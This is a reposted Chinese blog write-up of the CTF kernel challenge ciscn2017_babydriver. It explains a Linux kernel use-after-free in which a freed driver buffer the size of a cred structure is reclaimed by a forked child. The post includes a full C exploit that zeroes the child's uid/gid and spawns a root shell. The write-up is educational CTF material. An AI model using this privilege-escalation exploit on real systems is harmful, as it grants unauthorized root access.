linux内核申请堆,linux kernel pwn学习之UAF

Linux Kernel UAF

与用户态下的glibc差不多,都是对已经释放的空间未申请就直接使用,内核的UAF往往是出现在多线程多进程多文件的情况下。即,假如某个用户程序对用一个内核驱动文件打开了两次,有两个文件描述符,它们都指向了该驱动,又因为是在同一个程序里,所以当我们释放掉其中一个文件描述符后,还可以使用另一个文件描述符来操控驱动。

为了加深理解,我们就以一题为例

ciscn2017_babydriver

我们用IDA分析一下驱动程序,ioctl函数定义了一个交互命令0x10001,作用是释放之前的堆,申请一个用户指定大小的堆。

bfdafafe2640c716be3d4f32ca6bfe33.png

在单文件的情况下,没有问题,加入我们在程序里,对该驱动程序,打开了两个文件描述符,先利用第一个文件描述符来与驱动交互,申请一个堆。然后关闭第一个文件描述符。在关闭文件描述符时,对应的close函数会被调用

beecfd1b6521e9127b931b0e2638015b.png

该函数释放了堆。然而,我们仍然可以使用第二个文件描述符来对这个堆进行读写操作。,这就造成了UAF。

Linux kernel 使用slab/slub来分配内存,与glibc下的ptmalloc相同点是,如果在空闲的堆里存在符合申请的大小的堆,则直接把这个堆处理后返回给申请方。为了提权,关键就是修改进程的cred结构,而进程的cred结构也是保存在堆里,进程创建时,就会申请cred结构的空间,来存放cred结构。如果cred结构申请到我们能控制的空间里,那么我们就能自由修改cred结构,实现提权。

为了实现这个目的,我们可以申请一个与cred结构大小相等的堆,然后释放掉。这样,如果我们接下来fork一个子进程,那么子进程申请cred结构的空间时,发现空闲堆里有符合的堆,则拿过来用,而这个堆正是我们UAF能够控制的。利用UAF,把cred结构里的uid、gid等覆盖为0,即可得到root权限。至于cred的大小如何确定,有两种方法,第一种是查看对应版本的linux内核源码;第二种则是写一个简易的c语言程序,输出cred的大小。

本题的linux内核版本为4.4.72,cred结构大小为0xA8。

知道了以上的原理后,我们就可以编写exploit.c程序来提权了。

#include

#include

#include

#include

#include

#include

#include

int main() {

int fd1 = open("/dev/babydev",O_RDWR);

int fd2 = open("/dev/babydev",O_RDWR);

char buf[30];

if (fd1 < 0 || fd2 < 0) {

printf("open file error!!\n");

exit(-1);

}

//申请一个与cred结构体大小一样的堆

ioctl(fd1,0x10001,0xA8);

//释放这个堆

close(fd1);

int pid = fork();

if (pid < 0) {

printf("[-]fork error!!\n");

exit(-1);

} else if (pid == 0) { //子进程

//UAF,通过fd2,覆盖子进程的cred结构里的几个uid、gid

memset(buf,0,28);

write(fd2,buf,28);

if (getuid() == 0) {

printf("[+]rooted!!\n");

system("/bin/sh");

}

} else { //父进程等待子进程结束

wait(NULL);

}

close(fd2);

return 0;

}

f463a21005ae39348a6832ddf33e2275.png

3bc44d77a31db6bd90f99fb0d76bd55d.png

haivk

发布了66 篇原创文章 · 获赞 16 · 访问量 6833

私信

关注

标签:kernel,文件,进程,描述符,pwn,include,cred,UAF

来源: https://blog.csdn.net/seaaseesa/article/details/104576454

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值